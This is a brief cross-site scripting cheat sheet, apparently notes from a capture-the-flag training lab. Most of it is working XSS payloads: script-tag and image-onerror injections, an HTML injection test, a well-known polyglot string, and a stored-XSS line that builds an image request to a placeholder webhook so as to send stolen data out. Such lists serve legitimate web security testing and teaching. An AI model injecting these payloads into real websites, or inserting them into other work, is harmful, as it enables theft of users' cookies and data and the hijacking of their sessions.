XSS
// Embed a script tag
<script>prompt(1);</script>
// Use an error state of an image
<img src="x" onError="prompt(1);" />
// Test HTML injection to be a but more subtle
<h1>testing</h1>
// For a stored XSS, we can use javascript to create an image
<script>var i = new Image;i.src="[webhook/webserver]?[info to exfiltrate]";</script>
// Polyglot to test many options:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3eReflected
Stored
DOM-Based
Cheat Sheet
Last updated